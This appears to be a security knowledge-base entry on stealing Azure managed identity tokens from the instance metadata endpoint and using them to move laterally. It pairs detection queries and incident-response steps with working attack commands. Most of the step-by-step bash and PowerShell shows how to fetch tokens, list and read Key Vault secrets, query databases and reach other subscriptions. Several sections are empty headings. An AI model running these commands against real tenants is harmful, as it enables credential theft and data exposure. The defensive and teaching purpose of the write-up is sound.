MCADDF

[LM-AUTH-016]: Managed Identity Cross-Resource Token Theft & Lateral Movement

Metadata

| Attribute | Details | |—|—| | Technique ID | LM-AUTH-016 | | MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material | | Tactic | Lateral Movement | | Platforms | Entra ID (Azure AD) | | Severity | Critical | | CVE | N/A | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | All Azure subscriptions with managed identities enabled | | Patched In | N/A (Design pattern, requires mitigation) | | Author | SERVTEPArtur Pchelnikau |


1. EXECUTIVE SUMMARY

Concept: Azure managed identities (both system-assigned and user-assigned) automatically generate access tokens for Azure services without requiring credential management. An attacker with access to an Azure compute resource (VM, App Service, Container, Function App) can extract the managed identity token from the Azure Instance Metadata Service (IMDS) endpoint. This token can then be used to access OTHER Azure resources (databases, Key Vaults, storage accounts, etc.) that the managed identity has permissions to, effectively pivoting across resource boundaries within the same subscription or across subscriptions if RBAC is misconfigured.

Attack Surface: Azure IMDS endpoint (169.254.169.254:80), managed identity credential caching, Azure compute resources with attached identities, cross-resource RBAC assignments.

Business Impact: Attacker gains token-based access to multiple Azure resources without needing passwords or keys. Can exfiltrate secrets from Key Vaults, access SQL databases, read sensitive data from storage accounts, and maintain persistence via additional role assignments.

Technical Context: Token extraction is trivial (single HTTP request) and typically completes in < 1 second. Detection requires monitoring IMDS access patterns or token usage anomalies. Tokens are valid for 1 hour and can be refreshed indefinitely if attacker maintains compute resource access.

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 1.3.1, 1.3.6 | Service Principal and Managed Identity monitoring | | DISA STIG | IA-2, IA-4 | Authentication and Account Management for Azure resources | | CISA SCuBA | AZ-2, AZ-5 | Azure resource authentication and access controls | | NIST 800-53 | AC-2.1, AC-3, AC-6 | Account Management and Least Privilege | | GDPR | Art. 32 | Security of Processing; access controls for sensitive data | | DORA | Art. 9, Art. 19 | Protection measures and incident reporting | | NIS2 | Art. 21 | Cyber Risk Management; access control enforcement | | ISO 27001 | A.9.1.1, A.9.2.5 | User Access Management; Access Review | | ISO 27005 | Section 8.3.3 | Risk assessment for identity compromise |


2. TECHNICAL PREREQUISITES

Supported Platforms:

Tools:


3. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Extract Managed Identity Token from IMDS Endpoint

Supported Versions: All Azure subscriptions with managed identities

Step 1: Gain Access to Azure Compute Resource

Objective: Establish shell/command access to Azure VM, App Service, or Container instance.

Assumption: Attacker has already gained initial access (e.g., via compromised VM credentials, container escape, or web app RCE)

Command (Bash - On Azure VM):

# Verify we're running on an Azure resource with managed identity
curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-05-01" | jq '.identity' 2>/dev/null || echo "No managed identity found"

# Check if az CLI is available
az account show 2>/dev/null || echo "az CLI not available - use IMDS instead"

Expected Output:

{
  "principalId": "12345678-1234-1234-1234-123456789012",
  "tenantId": "87654321-4321-4321-4321-210987654321",
  "type": "SystemAssigned"
}

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Extract Managed Identity Token from IMDS

Objective: Retrieve OAuth token for managed identity without needing credentials.

Command (Bash - Extract System-Assigned Token):

# Request token for Azure Resource Manager (ARM) API
IMDS_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com" | jq -r '.access_token')

echo "Token obtained: ${IMDS_TOKEN:0:50}..."

# Decode token to verify claims
echo "$IMDS_TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq '.' || echo "Cannot decode (expected base64 format)"

Expected Output:

Token obtained: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I...

{
  "aud": "https://management.azure.com",
  "exp": 1704873600,
  "iat": 1704870000,
  "iss": "https://sts.windows.net/87654321-4321-4321-4321-210987654321/",
  "oid": "12345678-1234-1234-1234-123456789012",
  "roles": ["Contributor", "Reader"],
  "sub": "12345678-1234-1234-1234-123456789012"
}

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Use Token to Access Target Azure Resource

Objective: Leverage stolen token to access sensitive resources (databases, Key Vaults, storage).

Command (Bash - Query Azure SQL Database):

# Token from Step 2
IMDS_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I..."

# Request SQL database connection token (different scope)
SQL_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://database.windows.net" | jq -r '.access_token')

# Connect to SQL database using token
sqlcmd -S "yoursqlserver.database.windows.net" -d "YourDatabase" -G -U "user@domain.onmicrosoft.com" -P "$SQL_TOKEN"

# Example query: Extract sensitive data
sqlcmd -S "yoursqlserver.database.windows.net" -d "YourDatabase" -G -U "user@domain.onmicrosoft.com" -P "$SQL_TOKEN" -Q "SELECT * FROM CreditCards LIMIT 1000;"

Expected Output:

1> SELECT * FROM Customers LIMIT 10;
2> GO
customer_id    customer_name    email
1              John Doe         john.doe@company.com
2              Jane Smith       jane.smith@company.com
...

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Access Key Vault to Extract Secrets

Objective: Use managed identity token to steal secrets from Azure Key Vault.

Command (Bash - Extract Key Vault Secret):

# Get token for Key Vault scope
KV_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://vault.azure.net" | jq -r '.access_token')

# List all secrets in Key Vault
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://yourvault.vault.azure.net/secrets?api-version=2016-10-01" | jq '.value[].id'

# Extract specific secret value
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://yourvault.vault.azure.net/secrets/DatabasePassword?api-version=2016-10-01" | jq '.value'

Expected Output:

https://yourvault.vault.azure.net/secrets/DatabasePassword
https://yourvault.vault.azure.net/secrets/ApiKey
https://yourvault.vault.azure.net/secrets/TenantSecret

"MySecretPassword123!@#"

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 5: Lateral Move to Additional Resources

Objective: Chain compromised resources to access broader Azure environment.

Command (PowerShell - Enumerate Resources Accessible via Token):

# Use token to authenticate to Azure
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I..."

# Install module if needed
Install-Module -Name Az.Accounts -Force

# Connect using token (no password needed)
Connect-AzAccount -AccessToken $token -ManagedServiceIdentity

# List all resources in subscription
Get-AzResource | Select ResourceName, ResourceType, ResourceGroupName

# List SQL servers
Get-AzSqlServer | Select ServerName, ResourceGroupName

# List Key Vaults
Get-AzKeyVault | Select VaultName, ResourceGroupName

# List storage accounts
Get-AzStorageAccount | Select StorageAccountName, ResourceGroupName

Expected Output:

ResourceName                ResourceType                        ResourceGroupName
---                         ---                                 ----
myvm                        Microsoft.Compute/virtualMachines   RG-Prod
mydbserver                  Microsoft.Sql/servers               RG-Data
myvault                     Microsoft.KeyVault/vaults           RG-Security
mystorageaccount            Microsoft.Storage/storageAccounts   RG-Storage

What This Means:


METHOD 2: User-Assigned Managed Identity Takeover

Supported Versions: All Azure subscriptions with user-assigned managed identities

Step 1: Identify User-Assigned Managed Identity

Objective: Discover user-assigned identities that are attached to current resource.

Command (Bash - Enumerate Managed Identities):

# Query IMDS for current resource's attached identities
curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-05-01" | jq '.identity' 2>/dev/null

# For user-assigned identities, IMDS returns clientId
UAMI_CLIENT_ID=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-05-01" | jq -r '.identity.userAssignedIdentities | keys[0]' 2>/dev/null)

echo "User-Assigned Identity ClientID: $UAMI_CLIENT_ID"

# Request token for this specific identity
UAMI_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&client_id=$UAMI_CLIENT_ID&resource=https://management.azure.com" | jq -r '.access_token')

echo "User-Assigned Identity Token obtained: ${UAMI_TOKEN:0:50}..."

Expected Output:

User-Assigned Identity ClientID: 87654321-1234-5678-1234-abcdef123456
User-Assigned Identity Token obtained: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I...

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Extract UAMI Token and Access Resources

Objective: Use user-assigned identity token to access target resources.

Command (Bash - Exploit User-Assigned Identity):

# Request token for Key Vault using user-assigned identity
UAMI_CLIENT_ID="87654321-1234-5678-1234-abcdef123456"
KV_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&client_id=$UAMI_CLIENT_ID&resource=https://vault.azure.net" | jq -r '.access_token')

# Extract secrets from Key Vault
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://yourvault.vault.azure.net/secrets?api-version=2016-10-01" | jq '.value'

# Extract specific API key
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://yourvault.vault.azure.net/secrets/ApiKey?api-version=2016-10-01" | jq '.value'

Expected Output:

[
  {"id": "https://yourvault.vault.azure.net/secrets/ConnectionString", ...},
  {"id": "https://yourvault.vault.azure.net/secrets/ApiKey", ...}
]

"sk-abc123def456..."  # OpenAI API key exposed

What This Means:


METHOD 3: Cross-Subscription Managed Identity Access (If RBAC Misconfigured)

Supported Versions: Azure subscriptions with cross-subscription RBAC

Step 1: Attempt Cross-Subscription Resource Access

Objective: Access resources in different subscription if RBAC allows.

Command (PowerShell - Exploit Cross-Subscription Access):

# Token from managed identity
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6I..."

# Connect with token
Connect-AzAccount -AccessToken $token -ManagedServiceIdentity

# List all subscriptions accessible to this identity
Get-AzSubscription | Select SubscriptionName, SubscriptionId, TenantId

# Switch to different subscription
Select-AzSubscription -SubscriptionId "other-subscription-guid"

# Access resources in different subscription
Get-AzResource -ResourceGroupName "OtherTeamRG" | Select ResourceName

Expected Output:

SubscriptionName    SubscriptionId                       TenantId
--------            ---------                             ----
Prod-Subscription   12345678-1234-1234-1234-123456789012 87654321-4321-...
Dev-Subscription    87654321-1234-1234-1234-123456789012 87654321-4321-...

ResourceName                ResourceType
----------                  ---
other-teams-database        Microsoft.Sql/servers
other-teams-storage         Microsoft.Storage/storageAccounts

What This Means:


4. ATTACK SIMULATION & VERIFICATION

Atomic Red Team Test:

Simulation Command (Non-Destructive):

# Simulate IMDS token extraction without accessing sensitive resources
IMDS_TEST=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-05-01" -w "\nHTTP_Status:%{http_code}" 2>&1)

if echo "$IMDS_TEST" | grep -q "HTTP_Status:200"; then
  echo "✓ IMDS endpoint accessible (token extraction possible)"
  echo "✓ Managed identity configured on this resource"
else
  echo "✗ IMDS endpoint not accessible (resource not in Azure or identity not attached)"
fi

# Cleanup (no artifacts created)
echo "Simulation complete"

Cleanup Command:

# No persistent changes
echo "No cleanup required"

Reference: MITRE T1550


5. TOOLS & COMMANDS REFERENCE

Azure CLI

Version: 2.40.0+ Minimum Version: 2.30.0 Supported Platforms: Windows, macOS, Linux

Installation:

# Linux/macOS
curl -sL https://aka.ms/InstallAzureCLIDeb | bash

# Windows (via Chocolatey)
choco install azure-cli -y

Usage (Token Request):

az account get-access-token --resource https://management.azure.com

Azure PowerShell

Version: 10.0.0+ Minimum Version: 9.0.0

Installation:

Install-Module -Name Az -AllowClobber -Scope CurrentUser

Usage (Managed Identity Login):

Connect-AzAccount -Identity

curl / wget

Version: 7.64+

Usage (IMDS Token Extraction):

curl -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com"

6. SPLUNK DETECTION RULES

Rule 1: Suspicious IMDS Token Requests

Rule Configuration:

SPL Query:

index=azure_monitor source="169.254.169.254" 
  (request_path="*/metadata/identity/oauth2/token*" OR 
   request_path="*/metadata/instance*")
| stats count by src_ip, host, request_path
| where count > 10
| alert

What This Detects:

Manual Configuration Steps:

  1. Navigate to Splunk WebSearch & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to count > 10
  6. Configure ActionEmail SOC + Disable VM
  7. Set Frequency to run every 5 minutes

7. MICROSOFT SENTINEL DETECTION

Query 1: Suspicious Managed Identity Token Usage

Rule Configuration:

KQL Query:

AzureActivity
| where OperationName in ("List secret", "Get secret", "List secrets", "Get object value")
| where Caller contains "managed identity" or Caller =~ "managed identity"
| summarize SecretAccessCount = dcount(Resource) by Caller, CallerIpAddress, TimeGenerated
| where SecretAccessCount > 3
| project Caller, CallerIpAddress, SecretAccessCount, TimeGenerated

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Suspicious Managed Identity Token Abuse
    • Severity: High
  4. Set rule logic Tab:
    • Paste the KQL query above
    • Run every: 5 minutes
    • Lookup data from the last: 1 hour
  5. Incident settings Tab:
    • Enable Create incidents
    • Alert grouping: Group by Caller
  6. Click Review + create

Source: Microsoft Sentinel Detection Queries


8. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious Managed Identity Activity

Alert Name: “Suspicious use of managed identity token”

Manual Configuration Steps:

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select subscription
  3. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Cloud Apps: ON
  4. Click Save
  5. Go to Alerts → Filter by: Resource Type = “Managed Identity” AND Severity = “High”

9. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Managed Identity Token Requests

Search-UnifiedAuditLog -Operations "Get secret", "List secret", "Get object value" -StartDate (Get-Date).AddDays(-7) | 
  Where-Object {$_.AuditData -like "*managed*identity*"} | 
  Select Timestamp, UserIds, ClientIP, AuditData | 
  Export-Csv "C:\ManagedIdentityAccess.csv"

Manual Configuration Steps:

  1. Navigate to Azure PortalSubscriptions → Select subscription
  2. Go to Diagnostic settings
  3. Click + Add diagnostic setting
  4. Name: Enable Activity Log
  5. Destination: Send to Log Analytics workspace
  6. Categories: Check all (ensure “Administrative” is selected)
  7. Click Save

10. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if managed identities are disabled on VMs
Get-AzVM -ResourceGroupName "RG" | Select Name, IdentityType
# Expected: IdentityType should be $null or "None"

# Verify RBAC assignments use custom roles (not Reader/Contributor)
Get-AzRoleAssignment -Filter "PrincipalType eq 'ServicePrincipal'" | 
  Select DisplayName, RoleDefinitionName, Scope
# Expected: Should see custom role names (e.g., "ManagedIdentity-StorageReadOnly")

# Check Key Vault RBAC is enabled
Get-AzKeyVault -VaultName "yourvault" | Select EnableRbacAuthorization
# Expected: True

Expected Output (If Secure):

Name    IdentityType
----    ---
vm1     (null/None)
vm2     (null/None)

DisplayName                    RoleDefinitionName                    Scope
-----------                    --------                              -----
managed-identity-app1          ManagedIdentity-StorageReadOnly       /subscriptions/.../resourceGroups/RG
managed-identity-app2          ManagedIdentity-KeyVaultReadSecrets   /subscriptions/.../keyVaults/yourvault

EnableRbacAuthorization : True

What to Look For:


11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate (Immediate): Command:
    # Disable the compromised resource's managed identity
    Update-AzVM -ResourceGroupName "RG" -Name "VMNAME" -IdentityType None
       
    # Or delete the resource if compromise is severe
    Remove-AzVM -ResourceGroupName "RG" -Name "VMNAME" -Force
    

    Manual (Azure Portal):

    • Go to Azure PortalVirtual Machines → Select VM
    • Click Delete
  2. Revoke Tokens (Immediate):
    # Rotate Key Vault secrets that the identity accessed
    $secretName = "DatabasePassword"
    $newSecret = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.Guid]::NewGuid().ToString()))
    Set-AzKeyVaultSecret -VaultName "yourvault" -Name $secretName -SecretValue $newSecret
    
  3. Collect Evidence (Within 24 hours):
    # Export Azure Activity Log for forensic analysis
    Get-AzLog -ResourceGroup "RG" -StartTime (Get-Date).AddDays(-7) -WarningAction SilentlyContinue | 
      Export-Csv "C:\Evidence\AzureActivityLog.csv"
       
    # Export Key Vault access logs
    Get-AzDiagnosticSetting -ResourceId "/subscriptions/.../resourceGroups/RG/providers/Microsoft.KeyVault/vaults/yourvault" | 
      Export-Csv "C:\Evidence\KeyVaultDiagnostics.csv"
    
  4. Remediate:
    # Disable compromised identity's role assignments
    Get-AzRoleAssignment -ObjectId "12345678-1234-1234-1234-123456789012" | 
      Remove-AzRoleAssignment
       
    # Create new managed identity with least-privilege permissions
    $newIdentity = New-AzUserAssignedIdentity -ResourceGroupName "RG" -Name "NewIdentity"
    

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-004] Kubelet API Unauthorized Access Attacker gains access to AKS container or VM
2 Lateral Movement [LM-AUTH-016] Extract Managed Identity Token from IMDS
3 Credential Access [CA-UNSC-007] Azure Key Vault Secret Extraction Attacker uses token to steal Key Vault secrets
4 Lateral Movement [LM-AUTH-005] Service Principal Key/Certificate Abuse Attacker uses stolen secrets to access other services
5 Impact [Impact] Data Exfiltration, Persistence Attacker maintains access and steals sensitive data

13. REAL-WORLD EXAMPLES

Example 1: AKS Container Escape to Managed Identity Token Theft (2024)

Example 2: Function App Lateral Movement via Managed Identity (2025)


14. NOTES & APPENDIX

Technique Complexity: Low (token extraction is trivial; exploitation depends on RBAC misconfiguration)

Detection Difficulty: Medium (IMDS access is legitimate, but patterns indicate compromise)

Persistence Potential: High (attacker can maintain access indefinitely if RBAC not removed)

Cross-Platform Applicability: Azure-specific; not applicable to AWS or GCP (different identity models)

Recovery Time: Hours to days (depends on backup availability and RBAC cleanup)

Related Techniques: